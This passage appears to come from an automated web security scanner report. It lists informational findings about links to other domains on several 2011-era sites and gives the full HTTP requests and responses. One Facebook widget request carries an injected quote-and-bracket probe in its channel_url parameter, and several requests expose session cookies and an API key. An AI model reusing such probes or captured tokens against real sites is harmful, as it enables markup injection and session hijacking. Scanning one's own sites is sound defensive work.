<center><iframe src="http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=3155804&PluID=0&w=300&h=250&ord=2011.09.19.19.28.53&ifrm=2&ucm=true&z=4000" width="300" height="250" marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no bordercolor="#000000">
</iframe><img src="http://adlog.com.com/adlog/i/r=8821&sg=537096&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F7807&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=Wm@06AoOYJQAAFBVj6sAAACC&t=2011.09.19.19.28.53/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px" /></center>
...[SNIP]...
</div>
<img src="http://i.i.com.com/cnwk.1d/i/tron/features/computerSecurity/downloadEditors.jpg" alt="CNET Editors" /><p>
...[SNIP]...
<a href="http://download.cnet.com/2300-2018_4-10009380.html"> <img alt="Take an early tour of Windows 8 (photos)" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/13/Start_Screen_270x152.png"> <span>
...[SNIP]...
<a href="http://download.cnet.com/2300-2023_4-10008358.html"> <img alt="Inside Avast's virus lab (photos)" src="http://i.i.com.com/cnwk.1d/i/tim/2011/06/25/Avast_Prague_01_avast_logo_270x167.jpg"> <span>
...[SNIP]...
<a href="http://download.cnet.com/2300-2023_4-10006859.html"> <img alt="Norton 360 v5 in pictures" src="http://i.i.com.com/cnwk.1d/i/tim/2011/02/28/norton_360_v5_1_install_270x182.png"> <span>
...[SNIP]...
<a href="http://download.cnet.com/2300-2023_4-10006821.html"> <img alt="Avast Internet Security 6 (screenshots)" src="http://i.i.com.com/cnwk.1d/i/tim/2011/02/24/avast_6_main_270x205.png"> <span>
...[SNIP]...
<a href="http://download.cnet.com/2300-2023_4-10006676.html"> <img alt="Norton CyberCrime Index (images)" src="http://i.i.com.com/cnwk.1d/i/tim/2011/02/14/Norton_Cybercrime_Index_OVERVIEW_page2_image2_270x179.jpg"> <span>
...[SNIP]...
<li><a href="http://www.cbsinteractive.com/">About CBS Interactive</a>
...[SNIP]...
<li><a href="http://cnet.custhelp.com/">Help Center</a>
...[SNIP]...
<li><a href="http://www.facebook.com/cnet" class="brandLogo blFb">Facebook</a></li> <li><a href="http://www.linkedin.com/today/cnet.com" class="brandLogo blLi">LinkedIn</a></li> <li><a href="http://twitter.com/cnet" class="brandLogo blTwitter">Twitter</a></li> <li><a href="http://www.youtube.com/user/CNETTV" class="brandLogo blYt">YouTube</a>
...[SNIP]...
<li class="premiereBrand"><a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=Wm@06AoOYJQAAFBVj6sAAACC/http://reviews.cnet.com/showcase/samsung-televisions" class="brandLink">Samsung</a>
...[SNIP]...
<li><a href="http://adlog.com.com/adlog/e/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=Wm@06AoOYJQAAFBVj6sAAACC&event=7/http://reviews.cnet.com/showcase/samsung-televisions">Televisions</a>
...[SNIP]...
<li><a href="http://adlog.com.com/adlog/e/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=Wm@06AoOYJQAAFBVj6sAAACC&event=8/http://reviews.cnet.com/showcase/Samsung-mobilephones/">Mobile Phones</a>
...[SNIP]...
<li><a href="http://adlog.com.com/adlog/e/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=Wm@06AoOYJQAAFBVj6sAAACC&event=9/http://reviews.cnet.com/showcase/Samsung-bluray-and-home-theater/">Blu-Ray & Home Theater</a>
...[SNIP]...
<li><a href="http://adlog.com.com/adlog/e/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=Wm@06AoOYJQAAFBVj6sAAACC&event=10/http://reviews.cnet.com/2703-3121_7-507-5.html?key=samsung_notebook">Notebooks</a></li><li><a href="http://adlog.com.com/adlog/e/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=Wm@06AoOYJQAAFBVj6sAAACC&event=11/http://reviews.cnet.com/showcase/Samsung-monitors-and-printers/">Monitors & Printers</a>
...[SNIP]...
<li><a href="http://adlog.com.com/adlog/e/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=Wm@06AoOYJQAAFBVj6sAAACC&event=12/http://reviews.cnet.com/showcase/samsung-cameras-and-camcorders">Cameras & Camcorders</a>
...[SNIP]...
</li><IMG SRC="http://adlog.com.com/adlog/i/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=Wm@06AoOYJQAAFBVj6sAAACC/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px"/>
...[SNIP]...
<li class="premiereBrand"><a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501277&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=Wm@06AoOYJQAAFBVj6sAAACC/http://reviews.cnet.com/intel/" class="brandLink">Intel Products</a></li><IMG SRC="http://adlog.com.com/adlog/i/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501277&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=Wm@06AoOYJQAAFBVj6sAAACC/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px"/>
...[SNIP]...
</div>
<IMG SRC="http://adlog.com.com/adlog/i/t=2011.09.19.19.28.53&x-fid=1&r=19621&sg=501300&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=Wm@06AoOYJQAAFBVj6sAAACC/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px"/>
...[SNIP]...
<li><a href="http://legalterms.cbsinteractive.com/privacy" rel="nofollow">Privacy Policy</a>
...[SNIP]...
<li><a href="http://cbsiprivacy.custhelp.com/app/answers/detail/a_id/1272/" rel="nofollow">Ad Choice</a></li> <li><a href="http://legalterms.cbsinteractive.com/terms-of-use" rel="nofollow">Terms of Use</a>
...[SNIP]...
<li class="last"><a href="http://www.cbsinteractive.com/info/eula" rel="nofollow">Mobile User Agreement</a>
...[SNIP]...
<li><a href="http://www.bnet.com">BNET</a> | <a href="http://www.chow.com">CHOW</a>
...[SNIP]...
</a> | <a href="http://www.cnetchannel.com">CNET Channel</a> | <a href="http://www.gamespot.com">GameSpot</a> | <a href="http://www.cnetnetworks.com/advertise/properties/international.html?">International Media</a> | <a href="http://www.mysimon.com">mySimon</a> | <a href="http://www.search.com">Search.com</a> | <a href="http://techrepublic.com.com/">TechRepublic</a> | <a href="http://www.tv.com">TV.com</a> | <a href="http://www.zdnet.com/">ZDNet</a>
...[SNIP]...
<div id="servicesEtc"> <img src="http://dw.com.com/clear/c.gif?ts=1316460533&im=mii1.4&edId=3&ptId=2735&onId=2023&sId=1&asId=693&astId=1&pgnbr=1&oid=2735-2023_1-693&pguid=Wm@06AoOYJQAAFBVj6sAAACC&ld=www.cnet.com&clgf=Cg5iUk48EJ/sAAAAd0Q&tcset=ISO-8859-1&title=Computer%20and%20Internet%20Security%20-%20CNET.com&srcUrl=http://www.cnet.com/internet-security/?tag%3Dmncol;txt&x_breadcrumb=20:2023&x_arw_bkts=mitSurvey&xref=http://news.cnet.com/security/&xrq=tag%3Dhdr;snav" border="0" height="1" width="1" alt="" /> 
...[SNIP]...
<div> <img class="noluke" src="http://secure-us.imrworldwide.com/cgi-bin/m?ci=us-304254h&cg=0&cc=1&ts=noscript" width="1" height="1" alt="" /> </div>
...[SNIP]...

<script type="text/javascript" src="http://b.scorecardresearch.com/beacon.js"></script>
...[SNIP]...
<noscript>
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000023&c3=&c4=&c5=&c6=&c15=&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
</noscript>
...[SNIP]...
 <script type="text/javascript" src="http://i.i.com.com/cnwk.1d/html/pt/pt2.js" name="cleanprintloader"></script>
...[SNIP]...
<img src="http://adlog.com.com/adlog/i/r=19386&sg=1815&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=400&e=3&rqid=01phx1-ad-e16:4E7775E0326976&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=Wm@06AoOYJQAAFBVj6sAAACC&t=2011.09.19.19.28.53/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px" />
...[SNIP]...
<span class="selector"> <a href="http://twitter.com/cnet" class="twitter-follow-button" data-button="grey" data-show-count="false" data-text-color="#dadada" data-link-color="#dadada">Follow @cnet</a>
...[SNIP]...
</fb:like> <a target="_blank" href="http://www.facebook.com/cnet">CNET on Facebook</a>
...[SNIP]...

12.4. http://www.coldspringframework.org/coldspring/examples/quickstart/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldspringframework.org
Path:	/coldspring/examples/quickstart/index.cfm

Issue detail

The page was loaded from a URL containing a query string:

http://www.coldspringframework.org/coldspring/examples/quickstart/index.cfm?page=advanced

The response contains the following link to another domain:

http://www.mollio.org/

Request

GET /coldspring/examples/quickstart/index.cfm?page=advanced HTTP/1.1
Host: www.coldspringframework.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.coldspringframework.org/coldspring/examples/quickstart/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=147830; CFTOKEN=74421240

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 19 Sep 2011 15:09:31 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!--
Copyright: Daemon Pty Limite
...[SNIP]...
<p><a href="http://www.mollio.org/">Layout thanks to the Mollio project from Daemon</a>
...[SNIP]...

12.5. http://www.connect.facebook.com/widgets/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.connect.facebook.com
Path:	/widgets/fan.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.connect.facebook.com/widgets/fan.php?api_key=b2530777406d3bc1b8d7826d2510ae6c&channel_url=http%3A%2F%2Fwww.techhail.com%2Fheadline%2Ftop-best-iphone-games%2F8468%3Faaaa%3Dbbbb%22%3Ess%26ccc%3Ddddd%2611111%3D22222%26fbc_channel%3D1&id=316677168082&name=&width=580&connections=20&stream=0&logobar=0&css=

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-ash2/203458_100002048829162_4881019_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/275051_100000880762325_1299637546_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/275814_100002366565913_347632417_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/203175_1101390522_7966126_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/203414_100000330807889_3001085_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/261032_100000128163378_408225292_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/273489_1224529740_3133718_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274042_100002232588224_312643411_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274836_100002523166604_2371811_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274989_100001657166158_2162999_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275031_100002091043772_944690540_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275173_100001754155922_1474669490_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275531_1511483072_1811810017_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276002_100000039565971_1920720316_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276020_100001962360584_5007339_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276039_100001468755515_6381707_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276327_100001758380951_2210194_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/368711_100002078797100_2088894098_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/50504_316677168082_7556275_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/70373_100001216830212_1132871_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/y9/r/IB7NOFmPw2a.gif
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yJ/r/qmyjguD9K67.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/Mz6Me8PDhdq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js
http://static.ak.fbcdn.net/rsrc.php/v1/yy/r/VeBlwmWVNjq.css

Request

GET /widgets/fan.php?api_key=b2530777406d3bc1b8d7826d2510ae6c&channel_url=http%3A%2F%2Fwww.techhail.com%2Fheadline%2Ftop-best-iphone-games%2F8468%3Faaaa%3Dbbbb%22%3Ess%26ccc%3Ddddd%2611111%3D22222%26fbc_channel%3D1&id=316677168082&name=&width=580&connections=20&stream=0&logobar=0&css= HTTP/1.1
Host: www.connect.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.techhail.com/headline/top-best-iphone-games/8468
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.32.128.108
X-Cnection: close
Date: Mon, 19 Sep 2011 19:27:40 GMT
Content-Length: 14265

<!DOCTYPE html><html lang="en" id="facebook" class="no_js">
<head><meta charset="utf-8" /><script>CavalryLogger=false;</script><title>Fan</title>
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yJ/r/qmyjguD9K67.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yy/r/VeBlwmWVNjq.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/Mz6Me8PDhdq.css" />

<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js"></script>
<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js"></script>
<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js"></script>
<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js"></script>
...[SNIP]...
<a href="http://www.facebook.com/TechHail" target="_blank"><img class="profileimage img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/50504_316677168082_7556275_q.jpg" alt="TechHail" /></a>
...[SNIP]...
<a href="" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/manhasdeepu" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/275173_100001754155922_1474669490_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/nick.nripesh" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/275031_100002091043772_944690540_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=1511483072" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/275531_1511483072_1811810017_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=1224529740" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/273489_1224529740_3133718_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/maroufudasanmidtimbang" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/203414_100000330807889_3001085_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001906261727" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/y9/r/IB7NOFmPw2a.gif" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/bryanjjt" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-ash2/275814_100002366565913_347632417_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001962360584" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/276020_100001962360584_5007339_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100000880762325" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-ash2/275051_100000880762325_1299637546_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/dyr3nr" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/274836_100002523166604_2371811_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/rnkrajora" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/274042_100002232588224_312643411_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100002078797100" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/368711_100002078797100_2088894098_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=1101390522" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/203175_1101390522_7966126_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/276327_100001758380951_2210194_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/ismail.avan" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/276002_100000039565971_1920720316_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100002048829162" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-ash2/203458_100002048829162_4881019_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/276039_100001468755515_6381707_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001216830212" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/70373_100001216830212_1132871_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001657166158" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/274989_100001657166158_2162999_q.jpg" alt="" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/ako.si.nan" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/261032_100000128163378_408225292_q.jpg" alt="" /><div class="name">
...[SNIP]...

12.6. https://www.createspace.com/Special/HeaderAnnouncement.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.createspace.com
Path:	/Special/HeaderAnnouncement.jsp

Issue detail

The page was loaded from a URL containing a query string:

https://www.createspace.com/Special/HeaderAnnouncement.jsp?ts=4388148

The response contains the following link to another domain:

https://ssl.images-createspace.com/csp/v20110916093136/Special/Css/sitewide-min.css

Request

GET /Special/HeaderAnnouncement.jsp?ts=4388148 HTTP/1.1
Host: www.createspace.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.createspace.com/3411525
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=2DBBE83929803EADC095C07D2EAB79C7.cspworker01

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:01:02 GMT
Server: Apache
Cache-Control: max-age=31536000, public
Expires: Tue, 18 Sep 2012 15:01:02 GMT
Vary: Accept-Encoding
Content-Length: 1536
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>

<link rel="stylesheet" type="text/css" href="https://ssl.images-createspace.com/csp/v20110916093136/Special/Css/sitewide-min.css" /><!--[if IE]>
...[SNIP]...

12.7. https://www.createspace.com/Workflow/cart.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.createspace.com
Path:	/Workflow/cart.do

Issue detail

The page was loaded from a URL containing a query string:

https://www.createspace.com/Workflow/cart.do?action=jump&jump.step=cart

The response contains the following links to other domains:

https://service.optify.net/opt.js
https://ssl.images-createspace.com/csp/Special/Img/dot_trans.gif
https://ssl.images-createspace.com/csp/Special/Img/header/tagline.png
https://ssl.images-createspace.com/csp/Special/Img/logo-csp.gif
https://ssl.images-createspace.com/csp/Special/Img/logos/an_amazon_company_whbg.gif
https://ssl.images-createspace.com/csp/v20110916093136/Common/Style.css
https://ssl.images-createspace.com/csp/v20110916093136/Common/css/tags-min.css
https://ssl.images-createspace.com/csp/v20110916093136/Common/js/all-min.js
https://ssl.images-createspace.com/csp/v20110916093136/Common/js/urchin/urchin.js
https://ssl.images-createspace.com/csp/v20110916093136/Special/Css/content-min.css
https://ssl.images-createspace.com/csp/v20110916093136/Special/Css/form-min.css
https://ssl.images-createspace.com/csp/v20110916093136/Special/Css/sitewide-min.css

Request

GET /Workflow/cart.do?action=jump&jump.step=cart HTTP/1.1
Host: www.createspace.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.createspace.com/3411525
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=2DBBE83929803EADC095C07D2EAB79C7.cspworker01

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:01:18 GMT
Server: Apache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 16889
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">

<html>

<head>

<script src="https://ssl.images-createspace.com/csp/v20110916093136/Common/js/urchin/urchin.js" type="text/javascript"></script>
...[SNIP]...
</title>

<link rel="stylesheet" type="text/css" href="https://ssl.images-createspace.com/csp/v20110916093136/Common/css/tags-min.css" />

<link rel="stylesheet" type="text/css" href="https://ssl.images-createspace.com/csp/v20110916093136/Special/Css/sitewide-min.css" />
<link rel="stylesheet" type="text/css" href="https://ssl.images-createspace.com/csp/v20110916093136/Special/Css/content-min.css" />
<link rel="stylesheet" type="text/css" href="https://ssl.images-createspace.com/csp/v20110916093136/Special/Css/form-min.css" />
<script type="text/javascript" src="https://ssl.images-createspace.com/csp/v20110916093136/Common/js/all-min.js"></script>
...[SNIP]...
<meta name="distribution" content="Global" />

<link rel="stylesheet" type="text/css" href="https://ssl.images-createspace.com/csp/v20110916093136/Common/Style.css" />

<style type="text/css">
...[SNIP]...
